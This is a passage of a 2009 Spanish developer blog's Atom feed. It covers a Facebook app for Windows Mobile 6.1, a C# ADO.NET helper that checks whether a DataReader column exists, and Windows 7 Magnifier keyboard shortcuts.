/&gt;&lt;/a&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://geeks.ms/aggbug.aspx?PostID=160637" width="1" height="1"&gt;</content><author><name>mrubino</name><uri>http://geeks.ms/members/mrubino/default.aspx</uri></author></entry><entry><title>Microsoft Facebook en mi Windows Mobile 6.1</title><link rel="alternate" type="text/html" href="/blogs/mrubino/archive/2009/11/12/microsoft-facebook-en-mi-windows-mobile-6-1.aspx" /><id>/blogs/mrubino/archive/2009/11/12/microsoft-facebook-en-mi-windows-mobile-6-1.aspx</id><published>2009-11-12T20:33:00Z</published><updated>2009-11-12T20:33:00Z</updated><content type="html">&lt;p&gt;&lt;a href="http://www.microsoft.com/windowsmobile/es-es/downloads/facebook.mspx"&gt;&lt;img height="200" width="260" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/scr_5F00_facebook01_5F00_667F863F.jpg" align="right" alt="scr_facebook01" border="0" title="scr_facebook01" style="border-right-width:0px;margin:0px 0px 10px 50px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="justify"&gt;Hace poquito tiempo que he estrenado un nuevo tel&amp;eacute;fono con Windows Mobile 6.1&lt;/p&gt;
&lt;p align="justify"&gt;Tengo que reconocer que no tengo mucha experiencia con este sistema y me ha costado un poco configurar el acceso a datos del dispositivo.&lt;/p&gt;
&lt;p align="justify"&gt;Pero lo bueno ha sido cuando he querido instalar la versi&amp;oacute;n de &lt;a target="_blank" href="http://www.microsoft.com/windowsmobile/es-es/downloads/facebook.mspx"&gt;Facebook&lt;/a&gt; que Microsoft a creado para Windows Mobile para las versiones 6.* &lt;/p&gt;
&lt;p align="justify"&gt;No ha habido manera que utilizar&amp;aacute; la conexi&amp;oacute;n correctamente y se conectara a internet, he reinstalando una y otra vez la versi&amp;oacute;n castellana, ingles y porque no ten&amp;iacute;a el chino. Pero finalmente despu&amp;eacute;s de navegar mucho he encontrad la versi&amp;oacute;n que conecta y me deja disfrutar de esta aplicaci&amp;oacute;n en mi m&amp;oacute;vil.&lt;/p&gt;
&lt;p align="justify"&gt;Os adjunto los ficheros necesarios.&lt;/p&gt;
&lt;p&gt;Aplicaci&amp;oacute;n&lt;a target="_blank" href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys.Ejemplos/Facebook_2D00_v0.14.cab"&gt;&lt;img height="48" width="51" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/images_5F00_274FAC0E.jpg" alt="images" border="0" title="images" /&gt;&lt;/a&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Idioma Castellano&amp;nbsp; &lt;a target="_blank" href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys.Ejemplos/Facebook_2D00_v0.14.CASTELLANO.zip"&gt;&lt;img height="48" width="51" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/images_5F00_274FAC0E.jpg" alt="images" border="0" title="images" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://geeks.ms/aggbug.aspx?PostID=160412" width="1" height="1"&gt;</content><author><name>mrubino</name><uri>http://geeks.ms/members/mrubino/default.aspx</uri></author><category term="utilidades" scheme="http://geeks.ms/blogs/mrubino/archive/tags/utilidades/default.aspx" /></entry><entry><title>¿Existe la columna con DataReader?</title><link rel="alternate" type="text/html" href="/blogs/mrubino/archive/2009/11/10/191-existe-la-columna-con-datareader.aspx" /><id>/blogs/mrubino/archive/2009/11/10/191-existe-la-columna-con-datareader.aspx</id><published>2009-11-10T22:17:00Z</published><updated>2009-11-10T22:17:00Z</updated><content type="html">&lt;p align="justify"&gt;En mi empresa desde un principio hemos utilizado una herramienta propia para generar la capa de l&amp;oacute;gica de negocios, adaptada&amp;nbsp; al 100% a nuestras necesidades&amp;nbsp; y que ha ido creciendo con el tiempo. Eso nos ha beneficiado en tener controlado en todo momento nuestros objetos de negocio y nos ha evitado tener que hacer un salto obligatorio para utilizar alguno de los ORM que existen en el mercado, como puede ser: Entity Framework, NHibernate, etc.&lt;/p&gt;
&lt;p align="justify"&gt;Nuestra capa de acceso a datos &amp;ldquo;DAL&amp;rdquo; encapsula toda la l&amp;oacute;gica de conexiones a datos independientemente del proveedor y hay una de las funciones que retorna un lector de datos para poder personalizar la lectura de los datos desde la capa de l&amp;oacute;gica de Negocios.&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; &lt;span style="color:#808080;"&gt;/// &amp;lt;summary&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; &lt;span style="color:#808080;"&gt;/// Ejecuta el comando creado y retorna el lector.&lt;/span&gt;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; &lt;span style="color:#808080;"&gt;/// &amp;lt;/summary&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; &lt;span style="color:#808080;"&gt;/// &amp;lt;returns&amp;gt;El resultado de la consulta.&amp;lt;/returns&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; &lt;span style="color:#0000ff;"&gt;public&lt;/span&gt; DbDataReader EjecutarConsulta(&lt;span style="color:#0000ff;"&gt;string&lt;/span&gt; cmd, CommandType tipo)
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; {
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;     &lt;span style="color:#0000ff;"&gt;this&lt;/span&gt;.comando.CommandText = cmd;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;     &lt;span style="color:#0000ff;"&gt;this&lt;/span&gt;.comando.CommandType = tipo;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;     &lt;span style="color:#0000ff;"&gt;this&lt;/span&gt;.Conectar();
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;     &lt;span style="color:#0000ff;"&gt;return&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;this&lt;/span&gt;.comando.ExecuteReader();
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; }&lt;/pre&gt;
&lt;/pre&gt;
&lt;p&gt;Eso facilita la carga del objeto de negocio y optimiza la lectura.&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;DbDataReader reader = &lt;span style="color:#0000ff;"&gt;null&lt;/span&gt;;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;Using (Dal dal = &lt;span style="color:#0000ff;"&gt;new&lt;/span&gt; Dal())
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;{
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  &lt;span style="color:#0000ff;"&gt;string&lt;/span&gt; command = &amp;quot;&lt;span style="color:#8b0000;"&gt;select id, nombre, descripcion from productos&lt;/span&gt;&amp;quot;;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  reader = dal.EjecutarConsulta(command, CommandType.Text);
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  &lt;span style="color:#0000ff;"&gt;while&lt;/span&gt; (reader.Read())
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    ...&lt;/pre&gt;
&lt;/pre&gt;
&lt;p align="justify"&gt;Pero uno de los problemas habituales que nos encontraremos con el objeto DataReader es que si no nos gusta leer los datos por posici&amp;oacute;n, como es mi caso y preferimos controlar la columna que deseamos leer. Nos podemos encontrar con el horrible error que no se encuentra la columna que estamos intentando leer.&lt;/p&gt;
&lt;p&gt;Ya podemos intentar validar si el objeto es null, pero no funciona:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/capas_5F00_3378CA57.jpg"&gt;&lt;img height="325" width="574" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/capas_5F00_thumb_5F00_36AFD3A1.jpg" alt="capas" border="0" title="capas" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;O si el dato est&amp;aacute; vacio:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/capas2_5F00_15C1825C.jpg"&gt;&lt;img height="321" width="572" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/capas2_5F00_thumb_5F00_1FAB9529.jpg" alt="capas2" border="0" title="capas2" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p align="justify"&gt;Para poder validar si la columna que estamos consultando existe podemos tener una funci&amp;oacute;n en nuestro DAL que valide esta situaci&amp;oacute;n utilizando el propio esquena de la tabla:&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;span style="color:#0000ff;"&gt;public&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;bool&lt;/span&gt; ValidarColumna( DbDataReader reader, &lt;span style="color:#0000ff;"&gt;string&lt;/span&gt; nombreColumna)
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;{
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;   reader.GetSchemaTable().DefaultView.RowFilter = 
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;     &amp;quot;&lt;span style="color:#8b0000;"&gt;ColumnName= &amp;#39;&lt;/span&gt;&amp;quot;  + nombreColumna + &amp;quot;&lt;span style="color:#8b0000;"&gt;&amp;#39;&lt;/span&gt;&amp;quot;;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;   &lt;span style="color:#0000ff;"&gt;return&lt;/span&gt; (reader.GetSchemaTable().DefaultView.Count &amp;gt; 0);
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;}&lt;/pre&gt;
&lt;/pre&gt;
&lt;p align="justify"&gt;Finalmente cuando queramos hacer la consulta de los datos utilizaremos el validador para evitar errores no controlados en el acceso a datos.&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; &lt;span style="color:#0000ff;"&gt;using&lt;/span&gt; (Dal dal = &lt;span style="color:#0000ff;"&gt;new&lt;/span&gt; Dal())
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; {
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    &lt;span style="color:#0000ff;"&gt;string&lt;/span&gt; command = @&amp;quot;&lt;span style="color:#8b0000;"&gt;select id, nombre, descripcion 
&lt;/span&gt;&amp;quot;;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        from productos&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    reader = dal.EjecutarConsulta(command, CommandType.Text);
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    &lt;span style="color:#0000ff;"&gt;while&lt;/span&gt; (reader.Read())
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;      ProductoData produc = &lt;span style="color:#0000ff;"&gt;new&lt;/span&gt; ProductoData();
&lt;/pre&gt;
&lt;pre style="background-color:#ffff00;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;      produc.ID = (dal.ValidarColumna(reader, &amp;quot;&lt;span style="color:#8b0000;"&gt;ID&lt;/span&gt;&amp;quot;) 
&lt;/pre&gt;
&lt;pre style="background-color:#ffff00;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        &amp;amp;&amp;amp; reader[&amp;quot;&lt;span style="color:#8b0000;"&gt;ID&lt;/span&gt;&amp;quot;] != DBNull.Value)?(&lt;span style="color:#0000ff;"&gt;int&lt;/span&gt;)reader[&amp;quot;&lt;span style="color:#8b0000;"&gt;ID&lt;/span&gt;&amp;quot;]:0;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;      produc.Nombre = (dal.ValidarColumna(reader, &amp;quot;&lt;span style="color:#8b0000;"&gt;Nombre&lt;/span&gt;&amp;quot;)
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        &amp;amp;&amp;amp; reader[&amp;quot;&lt;span style="color:#8b0000;"&gt;Nombre&lt;/span&gt;&amp;quot;] != DBNull.Value)
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        ?reader[&amp;quot;&lt;span style="color:#8b0000;"&gt;Nombre&lt;/span&gt;&amp;quot;].ToString():&lt;span style="color:#0000ff;"&gt;string&lt;/span&gt;.Empty;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;      listaProductos.Add(produc);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    }
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;}&lt;/pre&gt;
&lt;/pre&gt;
&lt;p&gt;Es una forma un poco rebuscada, pero no conozco ninguna otra forma de verificar esta informaci&amp;oacute;n.&lt;/p&gt;
&lt;p&gt;Espero que os sea &amp;uacute;til.&lt;/p&gt;
&lt;p&gt;CrossPosting de &lt;a href="http://lonetcamp.com" title="http://lonetcamp.com"&gt;http://lonetcamp.com&lt;/a&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://geeks.ms/aggbug.aspx?PostID=160273" width="1" height="1"&gt;</content><author><name>mrubino</name><uri>http://geeks.ms/members/mrubino/default.aspx</uri></author><category term="Ado.net" scheme="http://geeks.ms/blogs/mrubino/archive/tags/Ado.net/default.aspx" /><category term="Trucos" scheme="http://geeks.ms/blogs/mrubino/archive/tags/Trucos/default.aspx" /></entry><entry><title>Utilidad Lupa de Windows 7</title><link rel="alternate" type="text/html" href="/blogs/mrubino/archive/2009/10/27/utilidad-lupa-de-windows-7.aspx" /><id>/blogs/mrubino/archive/2009/10/27/utilidad-lupa-de-windows-7.aspx</id><published>2009-10-27T20:43:00Z</published><updated>2009-10-27T20:43:00Z</updated><content type="html">&lt;p align="justify"&gt;Hasta ahora hemos disfrutado de la herramienta como &lt;a target="_blank" href="http://technet.microsoft.com/en-us/sysinternals/bb897434.aspx"&gt;ZoomIt&lt;/a&gt; para hacer Zoom en nuestras presentaciones y ayudarnos a mostrar partes de la pantalla a nuestra audiencia de una manera muy f&amp;aacute;cil y eficiente, pero ahora podemos contar con una utilidad incluida en Windows 7 llamada Lupa y que cumple la misma funci&amp;oacute;n. Pero a mi parecer se ha mejorando el sistema, porque aparte de poder hacer zoom se puede seguir interactuando igualmente con la aplicaci&amp;oacute;n sin problemas de forma aumentada.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/lupa_5F00_5DDFD26B.jpg"&gt;&lt;img height="185" width="260" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/lupa_5F00_thumb_5F00_65F98F71.jpg" alt="lupa" border="0" title="lupa" style="border-right-width:0px;display:block;float:none;border-top-width:0px;border-bottom-width:0px;margin-left:auto;border-left-width:0px;margin-right:auto;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="left"&gt;Soporta diferentes modos de zoom:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;div align="left"&gt;Pantalla Completa&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div align="left"&gt;Modo Lente&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div align="left"&gt;Modo Acoplado&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p align="left"&gt;M&amp;eacute;todos abreviados de teclado:&lt;/p&gt;
&lt;table width="400" cellpadding="0" cellspacing="0" border="1" class="MsoNormalTable" style="width:300pt;mso-border-alt:solid windowtext .5pt;mso-yfti-tbllook:1184;mso-padding-alt:1.5pt 1.5pt 1.5pt 1.5pt;mso-cellspacing:0cm;mso-border-insideh:.5pt solid windowtext;mso-border-insidev:.5pt solid windowtext;border:windowtext 1pt solid;"&gt;
&lt;tbody&gt;
&lt;tr style="mso-yfti-irow:0;mso-yfti-firstrow:yes;"&gt;
&lt;td width="199" valign="top" style="width:149.25pt;background:#c6d9f1;mso-border-alt:solid windowtext .5pt;mso-background-themecolor:text2;mso-background-themetint:51;border:windowtext 1pt solid;padding:1.5pt;"&gt;
&lt;p class="MsoNormal" align="center"&gt;&lt;b&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;M&amp;eacute;todo Abreviado&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="199" valign="top" style="width:149.25pt;background:#c6d9f1;mso-border-alt:solid windowtext .5pt;mso-background-themecolor:text2;mso-background-themetint:51;border:windowtext 1pt solid;padding:1.5pt;"&gt;
&lt;p class="MsoNormal" align="center"&gt;&lt;b&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Acci&amp;oacute;n&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="mso-yfti-irow:1;"&gt;
&lt;td width="199" valign="top" style="width:149.25pt;mso-border-alt:solid windowtext .5pt;border:windowtext 1pt solid;padding:1.5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Tecla del logotipo de Windows &lt;span style="mso-no-proof:yes;"&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/clip_5F00_image002_5F00_1EA6CA30.gif"&gt;&lt;img height="16" width="16" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/clip_5F00_image002_5F00_thumb_5F00_59FA2FEE.gif" alt="clip_image002" border="0" title="clip_image002" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt;&lt;/span&gt;+ signo m&amp;aacute;s o signo menos&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="199" valign="top" style="width:149.25pt;mso-border-alt:solid windowtext .5pt;border:windowtext 1pt solid;padding:1.5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Acercar o alejar&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="mso-yfti-irow:2;"&gt;
&lt;td width="199" valign="top" style="width:149.25pt;mso-border-alt:solid windowtext .5pt;border:windowtext 1pt solid;padding:1.5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Ctrl+Alt+Barra espaciadora&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="199" valign="top" style="width:149.25pt;mso-border-alt:solid windowtext .5pt;border:windowtext 1pt solid;padding:1.5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Mostrar el puntero del mouse&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="mso-yfti-irow:3;"&gt;
&lt;td width="199" valign="top" style="width:149.25pt;mso-border-alt:solid windowtext .5pt;border:windowtext 1pt solid;padding:1.5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Ctrl+Alt+F&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="199" valign="top" style="width:149.25pt;mso-border-alt:solid windowtext .5pt;border:windowtext 1pt solid;padding:1.5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Cambiar al modo de pantalla completa&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="mso-yfti-irow:4;"&gt;
&lt;td width="199" valign="top" style="width:149.25pt;mso-border-alt:solid windowtext .5pt;border:windowtext 1pt solid;padding:1.5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Ctrl+Alt+L&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="199" valign="top" style="width:149.25pt;mso-border-alt:solid windowtext .5pt;border:windowtext 1pt solid;padding:1.5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Cambiar al modo de lente&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="mso-yfti-irow:5;"&gt;
&lt;td width="199" valign="top" style="width:149.25pt;mso-border-alt:solid windowtext .5pt;border:windowtext 1pt solid;padding:1.5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Ctrl+Alt+D&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="199" valign="top" style="width:149.25pt;mso-border-alt:solid windowtext .5pt;border:windowtext 1pt solid;padding:1.5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Cambiar al modo acoplado&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="mso-yfti-irow:6;"&gt;
